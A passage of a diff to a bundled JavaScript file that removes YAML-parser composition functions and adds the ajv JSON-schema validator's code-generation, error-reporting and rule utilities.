"explicit-key-ind"; - hasSpace = false; - break; - case "comma": - if (flow2) { - if (comma) - onError(token, "UNEXPECTED_TOKEN", `Unexpected , in ${flow2}`); - comma = token; - atNewline = false; - hasSpace = false; - break; + // `else if` clause - invalid without `if` or after `else` clauses + elseIf(condition) { + return this._elseNode(new If(condition)); + } + // `else` clause - only valid after `if` or `else if` clauses + else() { + return this._elseNode(new Else()); + } + // end `if` statement (needed if gen.if was used only with condition) + endIf() { + return this._endBlockNode(If, Else); + } + _for(node, forBody) { + this._blockNode(node); + if (forBody) + this.code(forBody).endFor(); + return this; + } + // a generic `for` clause (or statement if `forBody` is passed) + for(iteration, forBody) { + return this._for(new ForLoop(iteration), forBody); + } + // `for` statement for a range of values + forRange(nameOrPrefix, from, to, forBody, varKind = this.opts.es5 ? scope_1.varKinds.var : scope_1.varKinds.let) { + const name2 = this._scope.toName(nameOrPrefix); + return this._for(new ForRange(varKind, name2, from, to), () => forBody(name2)); + } + // `for-of` statement (in es5 mode replace with a normal for loop) + forOf(nameOrPrefix, iterable, forBody, varKind = scope_1.varKinds.const) { + const name2 = this._scope.toName(nameOrPrefix); + if (this.opts.es5) { + const arr = iterable instanceof code_1.Name ? iterable : this.var("_arr", iterable); + return this.forRange("_i", 0, (0, code_1._)`${arr}.length`, (i7) => { + this.var(name2, (0, code_1._)`${arr}[${i7}]`); + forBody(name2); + }); } - default: - onError(token, "UNEXPECTED_TOKEN", `Unexpected ${token.type} token`); - atNewline = false; - hasSpace = false; + return this._for(new ForIter("of", varKind, name2, iterable), () => forBody(name2)); + } + // `for-in` statement. + // With option `ownProperties` replaced with a `for-of` loop for object keys + forIn(nameOrPrefix, obj, forBody, varKind = this.opts.es5 ? scope_1.varKinds.var : scope_1.varKinds.const) { + if (this.opts.ownProperties) { + return this.forOf(nameOrPrefix, (0, code_1._)`Object.keys(${obj})`, forBody); + } + const name2 = this._scope.toName(nameOrPrefix); + return this._for(new ForIter("in", varKind, name2, obj), () => forBody(name2)); + } + // end `for` loop + endFor() { + return this._endBlockNode(For); + } + // `label` statement + label(label) { + return this._leafNode(new Label(label)); + } + // `break` statement + break(label) { + return this._leafNode(new Break(label)); + } + // `return` statement + return(value2) { + const node = new Return(); + this._blockNode(node); + this.code(value2); + if (node.nodes.length !== 1) + throw new Error('CodeGen: "return" should have one node'); + return this._endBlockNode(Return); + } + // `try` statement + try(tryBody, catchCode, finallyCode) { + if (!catchCode && !finallyCode) + throw new Error('CodeGen: "try" without "catch" and "finally"'); + const node = new Try(); + this._blockNode(node); + this.code(tryBody); + if (catchCode) { + const error2 = this.name("e"); + this._currNode = node.catch = new Catch(error2); + catchCode(error2); + } + if (finallyCode) { + this._currNode = node.finally = new Finally(); + this.code(finallyCode); + } + return this._endBlockNode(Catch, Finally); + } + // `throw` statement + throw(error2) { + return this._leafNode(new Throw(error2)); + } + // start self-balancing block + block(body, nodeCount) { + this._blockStarts.push(this._nodes.length); + if (body) + this.code(body).endBlock(nodeCount); + return this; + } + // end the current self-balancing block + endBlock(nodeCount) { + const len = this._blockStarts.pop(); + if (len === void 0) + throw new Error("CodeGen: not in self-balancing block"); + const toClose = this._nodes.length - len; + if (toClose < 0 || nodeCount !== void 0 && toClose !== nodeCount) { + throw new Error(`CodeGen: wrong number of nodes: ${toClose} vs ${nodeCount} expected`); + } + this._nodes.length = len; + return this; + } + // `function` heading (or definition if funcBody is passed) + func(name2, args = code_1.nil, async, funcBody) { + this._blockNode(new Func(name2, args, async)); + if (funcBody) + this.code(funcBody).endFunc(); + return this; + } + // end function definition + endFunc() { + return this._endBlockNode(Func); + } + optimize(n7 = 1) { + while (n7-- > 0) { + this._root.optimizeNodes(); + this._root.optimizeNames(this._root.names, this._constants); + } + } + _leafNode(node) { + this._currNode.nodes.push(node); + return this; + } + _blockNode(node) { + this._currNode.nodes.push(node); + this._nodes.push(node); + } + _endBlockNode(N1, N22) { + const n7 = this._currNode; + if (n7 instanceof N1 || N22 && n7 instanceof N22) { + this._nodes.pop(); + return this; + } + throw new Error(`CodeGen: not in block "${N22 ? `${N1.kind}/${N22.kind}` : N1.kind}"`); + } + _elseNode(node) { + const n7 = this._currNode; + if (!(n7 instanceof If)) { + throw new Error('CodeGen: "else" without "if"'); + } + this._currNode = n7.else = node; + return this; + } + get _root() { + return this._nodes[0]; + } + get _currNode() { + const ns = this._nodes; + return ns[ns.length - 1]; + } + set _currNode(node) { + const ns = this._nodes; + ns[ns.length - 1] = node; + } + }; + exports28.CodeGen = CodeGen; + function addNames(names, from) { + for (const n7 in from) + names[n7] = (names[n7] || 0) + (from[n7] || 0); + return names; + } + function addExprNames(names, from) { + return from instanceof code_1._CodeOrName ? addNames(names, from.names) : names; + } + function optimizeExpr(expr, names, constants5) { + if (expr instanceof code_1.Name) + return replaceName(expr); + if (!canOptimize(expr)) + return expr; + return new code_1._Code(expr._items.reduce((items, c7) => { + if (c7 instanceof code_1.Name) + c7 = replaceName(c7); + if (c7 instanceof code_1._Code) + items.push(...c7._items); + else + items.push(c7); + return items; + }, [])); + function replaceName(n7) { + const c7 = constants5[n7.str]; + if (c7 === void 0 || names[n7.str] !== 1) + return n7; + delete names[n7.str]; + return c7; + } + function canOptimize(e10) { + return e10 instanceof code_1._Code && e10._items.some((c7) => c7 instanceof code_1.Name && names[c7.str] === 1 && constants5[c7.str] !== void 0); + } + } + function subtractNames(names, from) { + for (const n7 in from) + names[n7] = (names[n7] || 0) - (from[n7] || 0); + } + function not(x7) { + return typeof x7 == "boolean" || typeof x7 == "number" || x7 === null ? !x7 : (0, code_1._)`!${par(x7)}`; + } + exports28.not = not; + var andCode = mappend(exports28.operators.AND); + function and(...args) { + return args.reduce(andCode); + } + exports28.and = and; + var orCode = mappend(exports28.operators.OR); + function or(...args) { + return args.reduce(orCode); + } + exports28.or = or; + function mappend(op) { + return (x7, y7) => x7 === code_1.nil ? y7 : y7 === code_1.nil ? x7 : (0, code_1._)`${par(x7)} ${op} ${par(y7)}`; + } + function par(x7) { + return x7 instanceof code_1.Name ? x7 : (0, code_1._)`(${x7})`; } } - const last2 = tokens[tokens.length - 1]; - const end = last2 ? last2.offset + last2.source.length : offset; - if (reqSpace && next && next.type !== "space" && next.type !== "newline" && next.type !== "comma" && (next.type !== "scalar" || next.source !== "")) { - onError(next.offset, "MISSING_CHAR", "Tags and anchors must be separated from the next token by white space"); - } - if (tab && (atNewline && tab.indent <= parentIndent || next?.type === "block-map" || next?.type === "block-seq")) - onError(tab, "TAB_AS_INDENT", "Tabs are not allowed as indentation"); - return { - comma, - found, - spaceBefore, - comment, - hasNewline, - anchor, - tag, - newlineAfterProp, - end, - start: start ?? end - }; -} -var init_resolve_props = __esm({ - "node_modules/yaml/browser/dist/compose/resolve-props.js"() { +}); + +// node_modules/ajv/dist/compile/util.js +var require_util = __commonJS({ + "node_modules/ajv/dist/compile/util.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - } -}); - -// node_modules/yaml/browser/dist/compose/util-contains-newline.js -function containsNewline(key) { - if (!key) - return null; - switch (key.type) { - case "alias": - case "scalar": - case "double-quoted-scalar": - case "single-quoted-scalar": - if (key.source.includes("\n")) + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.checkStrictMode = exports28.getErrorPath = exports28.Type = exports28.useFunc = exports28.setEvaluated = exports28.evaluatedPropsToName = exports28.mergeEvaluated = exports28.eachItem = exports28.unescapeJsonPointer = exports28.escapeJsonPointer = exports28.escapeFragment = exports28.unescapeFragment = exports28.schemaRefOrVal = exports28.schemaHasRulesButRef = exports28.schemaHasRules = exports28.checkUnknownRules = exports28.alwaysValidSchema = exports28.toHash = void 0; + var codegen_1 = require_codegen(); + var code_1 = require_code(); + function toHash(arr) { + const hash = {}; + for (const item of arr) + hash[item] = true; + return hash; + } + exports28.toHash = toHash; + function alwaysValidSchema(it2, schema8) { + if (typeof schema8 == "boolean") + return schema8; + if (Object.keys(schema8).length === 0) return true; - if (key.end) { - for (const st2 of key.end) - if (st2.type === "newline") - return true; + checkUnknownRules(it2, schema8); + return !schemaHasRules(schema8, it2.self.RULES.all); + } + exports28.alwaysValidSchema = alwaysValidSchema; + function checkUnknownRules(it2, schema8 = it2.schema) { + const { opts, self: self2 } = it2; + if (!opts.strictSchema) + return; + if (typeof schema8 === "boolean") + return; + const rules = self2.RULES.keywords; + for (const key in schema8) { + if (!rules[key]) + checkStrictMode(it2, `unknown keyword: "${key}"`); } + } + exports28.checkUnknownRules = checkUnknownRules; + function schemaHasRules(schema8, rules) { + if (typeof schema8 == "boolean") + return !schema8; + for (const key in schema8) + if (rules[key]) + return true; return false; - case "flow-collection": - for (const it2 of key.items) { - for (const st2 of it2.start) - if (st2.type === "newline") - return true; - if (it2.sep) { - for (const st2 of it2.sep) - if (st2.type === "newline") - return true; - } - if (containsNewline(it2.key) || containsNewline(it2.value)) + } + exports28.schemaHasRules = schemaHasRules; + function schemaHasRulesButRef(schema8, RULES) { + if (typeof schema8 == "boolean") + return !schema8; + for (const key in schema8) + if (key !== "$ref" && RULES.all[key]) return true; - } return false; - default: - return true; + } + exports28.schemaHasRulesButRef = schemaHasRulesButRef; + function schemaRefOrVal({ topSchemaRef, schemaPath }, schema8, keyword, $data) { + if (!$data) { + if (typeof schema8 == "number" || typeof schema8 == "boolean") + return schema8; + if (typeof schema8 == "string") + return (0, codegen_1._)`${schema8}`; + } + return (0, codegen_1._)`${topSchemaRef}${schemaPath}${(0, codegen_1.getProperty)(keyword)}`; + } + exports28.schemaRefOrVal = schemaRefOrVal; + function unescapeFragment(str2) { + return unescapeJsonPointer(decodeURIComponent(str2)); + } + exports28.unescapeFragment = unescapeFragment; + function escapeFragment(str2) { + return encodeURIComponent(escapeJsonPointer(str2)); + } + exports28.escapeFragment = escapeFragment; + function escapeJsonPointer(str2) { + if (typeof str2 == "number") + return `${str2}`; + return str2.replace(/~/g, "~0").replace(/\//g, "~1"); + } + exports28.escapeJsonPointer = escapeJsonPointer; + function unescapeJsonPointer(str2) { + return str2.replace(/~1/g, "/").replace(/~0/g, "~"); + } + exports28.unescapeJsonPointer = unescapeJsonPointer; + function eachItem(xs, f8) { + if (Array.isArray(xs)) { + for (const x7 of xs) + f8(x7); + } else { + f8(xs); + } + } + exports28.eachItem = eachItem; + function makeMergeEvaluated({ mergeNames, mergeToName, mergeValues: mergeValues2, resultToName }) { + return (gen, from, to, toName) => { + const res = to === void 0 ? from : to instanceof codegen_1.Name ? (from instanceof codegen_1.Name ? mergeNames(gen, from, to) : mergeToName(gen, from, to), to) : from instanceof codegen_1.Name ? (mergeToName(gen, to, from), from) : mergeValues2(from, to); + return toName === codegen_1.Name && !(res instanceof codegen_1.Name) ? resultToName(gen, res) : res; + }; + } + exports28.mergeEvaluated = { + props: makeMergeEvaluated({ + mergeNames: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true && ${from} !== undefined`, () => { + gen.if((0, codegen_1._)`${from} === true`, () => gen.assign(to, true), () => gen.assign(to, (0, codegen_1._)`${to} || {}`).code((0, codegen_1._)`Object.assign(${to}, ${from})`)); + }), + mergeToName: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true`, () => { + if (from === true) { + gen.assign(to, true); + } else { + gen.assign(to, (0, codegen_1._)`${to} || {}`); + setEvaluated(gen, to, from); + } + }), + mergeValues: (from, to) => from === true ? true : { ...from, ...to }, + resultToName: evaluatedPropsToName + }), + items: makeMergeEvaluated({ + mergeNames: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true && ${from} !== undefined`, () => gen.assign(to, (0, codegen_1._)`${from} === true ? true : ${to} > ${from} ? ${to} : ${from}`)), + mergeToName: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true`, () => gen.assign(to, from === true ? true : (0, codegen_1._)`${to} > ${from} ? ${to} : ${from}`)), + mergeValues: (from, to) => from === true ? true : Math.max(from, to), + resultToName: (gen, items) => gen.var("items", items) + }) + }; + function evaluatedPropsToName(gen, ps) { + if (ps === true) + return gen.var("props", true); + const props = gen.var("props", (0, codegen_1._)`{}`); + if (ps !== void 0) + setEvaluated(gen, props, ps); + return props; + } + exports28.evaluatedPropsToName = evaluatedPropsToName; + function setEvaluated(gen, props, ps) { + Object.keys(ps).forEach((p7) => gen.assign((0, codegen_1._)`${props}${(0, codegen_1.getProperty)(p7)}`, true)); + } + exports28.setEvaluated = setEvaluated; + var snippets = {}; + function useFunc(gen, f8) { + return gen.scopeValue("func", { + ref: f8, + code: snippets[f8.code] || (snippets[f8.code] = new code_1._Code(f8.code)) + }); + } + exports28.useFunc = useFunc; + var Type3; + (function(Type4) { + Type4[Type4["Num"] = 0] = "Num"; + Type4[Type4["Str"] = 1] = "Str"; + })(Type3 || (exports28.Type = Type3 = {})); + function getErrorPath(dataProp, dataPropType, jsPropertySyntax) { + if (dataProp instanceof codegen_1.Name) { + const isNumber3 = dataPropType === Type3.Num; + return jsPropertySyntax ? isNumber3 ? (0, codegen_1._)`"[" + ${dataProp} + "]"` : (0, codegen_1._)`"['" + ${dataProp} + "']"` : isNumber3 ? (0, codegen_1._)`"/" + ${dataProp}` : (0, codegen_1._)`"/" + ${dataProp}.replace(/~/g, "~0").replace(/\\//g, "~1")`; + } + return jsPropertySyntax ? (0, codegen_1.getProperty)(dataProp).toString() : "/" + escapeJsonPointer(dataProp); + } + exports28.getErrorPath = getErrorPath; + function checkStrictMode(it2, msg, mode = it2.opts.strictSchema) { + if (!mode) + return; + msg = `strict mode: ${msg}`; + if (mode === true) + throw new Error(msg); + it2.self.logger.warn(msg); + } + exports28.checkStrictMode = checkStrictMode; } -} -var init_util_contains_newline = __esm({ - "node_modules/yaml/browser/dist/compose/util-contains-newline.js"() { +}); + +// node_modules/ajv/dist/compile/names.js +var require_names = __commonJS({ + "node_modules/ajv/dist/compile/names.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var names = { + // validation function arguments + data: new codegen_1.Name("data"), + // data passed to validation function + // args passed from referencing schema + valCxt: new codegen_1.Name("valCxt"), + // validation/data context - should not be used directly, it is destructured to the names below + instancePath: new codegen_1.Name("instancePath"), + parentData: new codegen_1.Name("parentData"), + parentDataProperty: new codegen_1.Name("parentDataProperty"), + rootData: new codegen_1.Name("rootData"), + // root data - same as the data passed to the first/top validation function + dynamicAnchors: new codegen_1.Name("dynamicAnchors"), + // used to support recursiveRef and dynamicRef + // function scoped variables + vErrors: new codegen_1.Name("vErrors"), + // null or array of validation errors + errors: new codegen_1.Name("errors"), + // counter of validation errors + this: new codegen_1.Name("this"), + // "globals" + self: new codegen_1.Name("self"), + scope: new codegen_1.Name("scope"), + // JTD serialize/parse name for JSON string and position + json: new codegen_1.Name("json"), + jsonPos: new codegen_1.Name("jsonPos"), + jsonLen: new codegen_1.Name("jsonLen"), + jsonPart: new codegen_1.Name("jsonPart") + }; + exports28.default = names; } }); -// node_modules/yaml/browser/dist/compose/util-flow-indent-check.js -function flowIndentCheck(indent, fc, onError) { - if (fc?.type === "flow-collection") { - const end = fc.end[0]; - if (end.indent === indent && (end.source === "]" || end.source === "}") && containsNewline(fc)) { - const msg = "Flow end indicator should be more indented than parent"; - onError(end, "BAD_INDENT", msg, true); - } - } -} -var init_util_flow_indent_check = __esm({ - "node_modules/yaml/browser/dist/compose/util-flow-indent-check.js"() { +// node_modules/ajv/dist/compile/errors.js +var require_errors = __commonJS({ + "node_modules/ajv/dist/compile/errors.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_util_contains_newline(); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.extendErrors = exports28.resetErrorsCount = exports28.reportExtraError = exports28.reportError = exports28.keyword$DataError = exports28.keywordError = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var names_1 = require_names(); + exports28.keywordError = { + message: ({ keyword }) => (0, codegen_1.str)`must pass "${keyword}" keyword validation` + }; + exports28.keyword$DataError = { + message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` + }; + function reportError(cxt, error2 = exports28.keywordError, errorPaths, overrideAllErrors) { + const { it: it2 } = cxt; + const { gen, compositeRule, allErrors } = it2; + const errObj = errorObjectCode(cxt, error2, errorPaths); + if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { + addError(gen, errObj); + } else { + returnErrors(it2, (0, codegen_1._)`[${errObj}]`); + } + } + exports28.reportError = reportError; + function reportExtraError(cxt, error2 = exports28.keywordError, errorPaths) { + const { it: it2 } = cxt; + const { gen, compositeRule, allErrors } = it2; + const errObj = errorObjectCode(cxt, error2, errorPaths); + addError(gen, errObj); + if (!(compositeRule || allErrors)) { + returnErrors(it2, names_1.default.vErrors); + } + } + exports28.reportExtraError = reportExtraError; + function resetErrorsCount(gen, errsCount) { + gen.assign(names_1.default.errors, errsCount); + gen.if((0, codegen_1._)`${names_1.default.vErrors} !== null`, () => gen.if(errsCount, () => gen.assign((0, codegen_1._)`${names_1.default.vErrors}.length`, errsCount), () => gen.assign(names_1.default.vErrors, null))); + } + exports28.resetErrorsCount = resetErrorsCount; + function extendErrors({ gen, keyword, schemaValue, data, errsCount, it: it2 }) { + if (errsCount === void 0) + throw new Error("ajv implementation error"); + const err = gen.name("err"); + gen.forRange("i", errsCount, names_1.default.errors, (i7) => { + gen.const(err, (0, codegen_1._)`${names_1.default.vErrors}[${i7}]`); + gen.if((0, codegen_1._)`${err}.instancePath === undefined`, () => gen.assign((0, codegen_1._)`${err}.instancePath`, (0, codegen_1.strConcat)(names_1.default.instancePath, it2.errorPath))); + gen.assign((0, codegen_1._)`${err}.schemaPath`, (0, codegen_1.str)`${it2.errSchemaPath}/${keyword}`); + if (it2.opts.verbose) { + gen.assign((0, codegen_1._)`${err}.schema`, schemaValue); + gen.assign((0, codegen_1._)`${err}.data`, data); + } + }); + } + exports28.extendErrors = extendErrors; + function addError(gen, errObj) { + const err = gen.const("err", errObj); + gen.if((0, codegen_1._)`${names_1.default.vErrors} === null`, () => gen.assign(names_1.default.vErrors, (0, codegen_1._)`[${err}]`), (0, codegen_1._)`${names_1.default.vErrors}.push(${err})`); + gen.code((0, codegen_1._)`${names_1.default.errors}++`); + } + function returnErrors(it2, errs) { + const { gen, validateName, schemaEnv } = it2; + if (schemaEnv.$async) { + gen.throw((0, codegen_1._)`new ${it2.ValidationError}(${errs})`); + } else { + gen.assign((0, codegen_1._)`${validateName}.errors`, errs); + gen.return(false); + } + } + var E6 = { + keyword: new codegen_1.Name("keyword"), + schemaPath: new codegen_1.Name("schemaPath"), + // also used in JTD errors + params: new codegen_1.Name("params"), + propertyName: new codegen_1.Name("propertyName"), + message: new codegen_1.Name("message"), + schema: new codegen_1.Name("schema"), + parentSchema: new codegen_1.Name("parentSchema") + }; + function errorObjectCode(cxt, error2, errorPaths) { + const { createErrors } = cxt.it; + if (createErrors === false) + return (0, codegen_1._)`{}`; + return errorObject(cxt, error2, errorPaths); + } + function errorObject(cxt, error2, errorPaths = {}) { + const { gen, it: it2 } = cxt; + const keyValues = [ + errorInstancePath(it2, errorPaths), + errorSchemaPath(cxt, errorPaths) + ]; + extraErrorProps(cxt, error2, keyValues); + return gen.object(...keyValues); + } + function errorInstancePath({ errorPath }, { instancePath }) { + const instPath = instancePath ? (0, codegen_1.str)`${errorPath}${(0, util_1.getErrorPath)(instancePath, util_1.Type.Str)}` : errorPath; + return [names_1.default.instancePath, (0, codegen_1.strConcat)(names_1.default.instancePath, instPath)]; + } + function errorSchemaPath({ keyword, it: { errSchemaPath } }, { schemaPath, parentSchema }) { + let schPath = parentSchema ? errSchemaPath : (0, codegen_1.str)`${errSchemaPath}/${keyword}`; + if (schemaPath) { + schPath = (0, codegen_1.str)`${schPath}${(0, util_1.getErrorPath)(schemaPath, util_1.Type.Str)}`; + } + return [E6.schemaPath, schPath]; + } + function extraErrorProps(cxt, { params, message }, keyValues) { + const { keyword, data, schemaValue, it: it2 } = cxt; + const { opts, propertyName, topSchemaRef, schemaPath } = it2; + keyValues.push([E6.keyword, keyword], [E6.params, typeof params == "function" ? params(cxt) : params || (0, codegen_1._)`{}`]); + if (opts.messages) { + keyValues.push([E6.message, typeof message == "function" ? message(cxt) : message]); + } + if (opts.verbose) { + keyValues.push([E6.schema, schemaValue], [E6.parentSchema, (0, codegen_1._)`${topSchemaRef}${schemaPath}`], [names_1.default.data, data]); + } + if (propertyName) + keyValues.push([E6.propertyName, propertyName]); + } } }); -// node_modules/yaml/browser/dist/compose/util-map-includes.js -function mapIncludes(ctx, items, search) { - const { uniqueKeys } = ctx.options; - if (uniqueKeys === false) - return false; - const isEqual2 = typeof uniqueKeys === "function" ? uniqueKeys : (a7, b8) => a7 === b8 || isScalar(a7) && isScalar(b8) && a7.value === b8.value; - return items.some((pair) => isEqual2(pair.key, search)); -} -var init_util_map_includes = __esm({ - "node_modules/yaml/browser/dist/compose/util-map-includes.js"() { +// node_modules/ajv/dist/compile/validate/boolSchema.js +var require_boolSchema = __commonJS({ + "node_modules/ajv/dist/compile/validate/boolSchema.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_identity(); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.boolOrEmptySchema = exports28.topBoolOrEmptySchema = void 0; + var errors_1 = require_errors(); + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var boolError = { + message: "boolean schema is false" + }; + function topBoolOrEmptySchema(it2) { + const { gen, schema: schema8, validateName } = it2; + if (schema8 === false) { + falseSchemaError(it2, false); + } else if (typeof schema8 == "object" && schema8.$async === true) { + gen.return(names_1.default.data); + } else { + gen.assign((0, codegen_1._)`${validateName}.errors`, null); + gen.return(true); + } + } + exports28.topBoolOrEmptySchema = topBoolOrEmptySchema; + function boolOrEmptySchema(it2, valid) { + const { gen, schema: schema8 } = it2; + if (schema8 === false) { + gen.var(valid, false); + falseSchemaError(it2); + } else { + gen.var(valid, true); + } + } + exports28.boolOrEmptySchema = boolOrEmptySchema; + function falseSchemaError(it2, overrideAllErrors) { + const { gen, data } = it2; + const cxt = { + gen, + keyword: "false schema", + data, + schema: false, + schemaCode: false, + schemaValue: false, + params: {}, + it: it2 + }; + (0, errors_1.reportError)(cxt, boolError, void 0, overrideAllErrors); + } } }); -// node_modules/yaml/browser/dist/compose/resolve-block-map.js -function resolveBlockMap({ composeNode: composeNode3, composeEmptyNode: composeEmptyNode2 }, ctx, bm, onError, tag) { - const NodeClass = tag?.nodeClass ?? YAMLMap; - const map4 = new NodeClass(ctx.schema); - if (ctx.atRoot) - ctx.atRoot = false; - let offset = bm.offset; - let commentEnd = null; - for (const collItem of bm.items) { - const { start, key, sep: sep2, value: value2 } = collItem; - const keyProps = resolveProps(start, { - indicator: "explicit-key-ind", - next: key ?? sep2?.[0], - offset, - onError, - parentIndent: bm.indent, - startOnNewline: true - }); - const implicitKey = !keyProps.found; - if (implicitKey) { - if (key) { - if (key.type === "block-seq") - onError(offset, "BLOCK_AS_IMPLICIT_KEY", "A block sequence may not be used as an implicit map key"); - else if ("indent" in key && key.indent !== bm.indent) - onError(offset, "BAD_INDENT", startColMsg); - } - if (!keyProps.anchor && !keyProps.tag && !sep2) { - commentEnd = keyProps.end; - if (keyProps.comment) { - if (map4.comment) - map4.comment += "\n" + keyProps.comment; - else - map4.comment = keyProps.comment; - } - continue; - } - if (keyProps.newlineAfterProp || containsNewline(key)) { - onError(key ?? start[start.length - 1], "MULTILINE_IMPLICIT_KEY", "Implicit keys need to be on a single line"); - } - } else if (keyProps.found?.indent !== bm.indent) { - onError(offset, "BAD_INDENT", startColMsg); - } - ctx.atKey = true; - const keyStart = keyProps.end; - const keyNode = key ? composeNode3(ctx, key, keyProps, onError) : composeEmptyNode2(ctx, keyStart, start, null, keyProps, onError); - if (ctx.schema.compat) - flowIndentCheck(bm.indent, key, onError); - ctx.atKey = false; - if (mapIncludes(ctx, map4.items, keyNode)) - onError(keyStart, "DUPLICATE_KEY", "Map keys must be unique"); - const valueProps = resolveProps(sep2 ?? [], { - indicator: "map-value-ind", - next: value2, - offset: keyNode.range[2], - onError, - parentIndent: bm.indent, - startOnNewline: !key || key.type === "block-scalar" - }); - offset = valueProps.end; - if (valueProps.found) { - if (implicitKey) { - if (value2?.type === "block-map" && !valueProps.hasNewline) - onError(offset, "BLOCK_AS_IMPLICIT_KEY", "Nested mappings are not allowed in compact mappings"); - if (ctx.options.strict && keyProps.start < valueProps.found.offset - 1024) - onError(keyNode.range, "KEY_OVER_1024_CHARS", "The : indicator must be at most 1024 chars after the start of an implicit block mapping key"); - } - const valueNode = value2 ? composeNode3(ctx, value2, valueProps, onError) : composeEmptyNode2(ctx, offset, sep2, null, valueProps, onError); - if (ctx.schema.compat) - flowIndentCheck(bm.indent, value2, onError); - offset = valueNode.range[2]; - const pair = new Pair(keyNode, valueNode); - if (ctx.options.keepSourceTokens) - pair.srcToken = collItem; - map4.items.push(pair); - } else { - if (implicitKey) - onError(keyNode.range, "MISSING_CHAR", "Implicit map keys need to be followed by map values"); - if (valueProps.comment) { - if (keyNode.comment) - keyNode.comment += "\n" + valueProps.comment; - else - keyNode.comment = valueProps.comment; - } - const pair = new Pair(keyNode); - if (ctx.options.keepSourceTokens) - pair.srcToken = collItem; - map4.items.push(pair); - } - } - if (commentEnd && commentEnd < offset) - onError(commentEnd, "IMPOSSIBLE", "Map comment with trailing content"); - map4.range = [bm.offset, offset, commentEnd ?? offset]; - return map4; -} -var startColMsg; -var init_resolve_block_map = __esm({ - "node_modules/yaml/browser/dist/compose/resolve-block-map.js"() { +// node_modules/ajv/dist/compile/rules.js +var require_rules = __commonJS({ + "node_modules/ajv/dist/compile/rules.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_Pair(); - init_YAMLMap(); - init_resolve_props(); - init_util_contains_newline(); - init_util_flow_indent_check(); - init_util_map_includes(); - startColMsg = "All mapping items must start at the same column"; + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.getRules = exports28.isJSONType = void 0; + var _jsonTypes = ["string", "number", "integer", "boolean", "null", "object", "array"]; + var jsonTypes = new Set(_jsonTypes); + function isJSONType(x7) { + return typeof x7 == "string" && jsonTypes.has(x7); + } + exports28.isJSONType = isJSONType; + function getRules() { + const groups = { + number: { type: "number", rules: [] }, + string: { type: "string", rules: [] }, + array: { type: "array", rules: [] }, + object: { type: "object", rules: [] } + }; + return { + types: { ...groups, integer: true, boolean: true, null: true }, + rules: [{ rules: [] }, groups.number, groups.string, groups.array, groups.object], + post: { rules: [] }, + all: {}, + keywords: {} + }; + } + exports28.getRules = getRules; } }); -// node_modules/yaml/browser/dist/compose/resolve-block-seq.js -function resolveBlockSeq({ composeNode: composeNode3, composeEmptyNode: composeEmptyNode2 }, ctx, bs, onError, tag) { - const NodeClass = tag?.nodeClass ?? YAMLSeq; - const seq3 = new NodeClass(ctx.schema); - if (ctx.atRoot) - ctx.atRoot = false; - if (ctx.atKey) - ctx.atKey = false; - let offset = bs.offset; - let commentEnd = null; - for (const { start, value: value2 } of bs.items) { - const props = resolveProps(start, { - indicator: "seq-item-ind", - next: value2, - offset, - onError, - parentIndent: bs.indent, - startOnNewline: true - }); - if (!props.found) { - if (props.anchor || props.tag || value2) { - if (value2 && value2.type === "block-seq") - onError(props.end, "BAD_INDENT", "All sequence items must start at the same column"); - else - onError(offset, "MISSING_CHAR", "Sequence item without - indicator"); - } else { - commentEnd = props.end; - if (props.comment) - seq3.comment = props.comment; - continue; - } - } - const node = value2 ? composeNode3(ctx, value2, props, onError) : composeEmptyNode2(ctx, props.end, start, null, props, onError); - if (ctx.schema.compat) - flowIndentCheck(bs.indent, value2, onError); - offset = node.range[2]; - seq3.items.push(node); - } - seq3.range = [bs.offset, offset, commentEnd ?? offset]; - return seq3; -} -var init_resolve_block_seq = __esm({ - "node_modules/yaml/browser/dist/compose/resolve-block-seq.js"() { +// node_modules/ajv/dist/compile/validate/applicability.js +var require_applicability = __commonJS({ + "node_modules/ajv/dist/compile/validate/applicability.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_YAMLSeq(); - init_resolve_props(); - init_util_flow_indent_check(); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.shouldUseRule = exports28.shouldUseGroup = exports28.schemaHasRulesForType = void 0; + function schemaHasRulesForType({ schema: schema8, self: self2 }, type3) { + const group2 = self2.RULES.types[type3]; + return group2 && group2 !== true && shouldUseGroup(schema8, group2); + } + exports28.schemaHasRulesForType = schemaHasRulesForType; + function shouldUseGroup(schema8, group2) { + return group2.rules.some((rule) => shouldUseRule(schema8, rule)); + } + exports28.shouldUseGroup = shouldUseGroup; + function shouldUseRule(schema8, rule) { + var _a2; + return schema8[rule.keyword] !== void 0 || ((_a2 = rule.definition.implements) === null || _a2 === void 0 ? void 0 : _a2.some((kwd) => schema8[kwd] !== void 0)); + } + exports28.shouldUseRule = shouldUseRule; } }); -// node_modules/yaml/browser/dist/compose/resolve-end.js -function resolveEnd(end, offset, reqSpace, onError) { - let comment = ""; - if (end) { - let hasSpace = false; - let sep2 = ""; - for (const token of end) { - const { source, type: type3 } = token; - switch (type3) { - case "space": - hasSpace = true; - break; - case "comment": { - if (reqSpace && !hasSpace) - onError(token, "MISSING_CHAR", "Comments must be separated from other tokens by white space characters"); - const cb = source.substring(1) || " "; - if (!comment) - comment = cb; - else - comment += sep2 + cb; - sep2 = ""; - break; - } - case "newline": - if (comment) - sep2 += source; - hasSpace = true; - break; - default: - onError(token, "UNEXPECTED_TOKEN", `Unexpected ${type3} at node 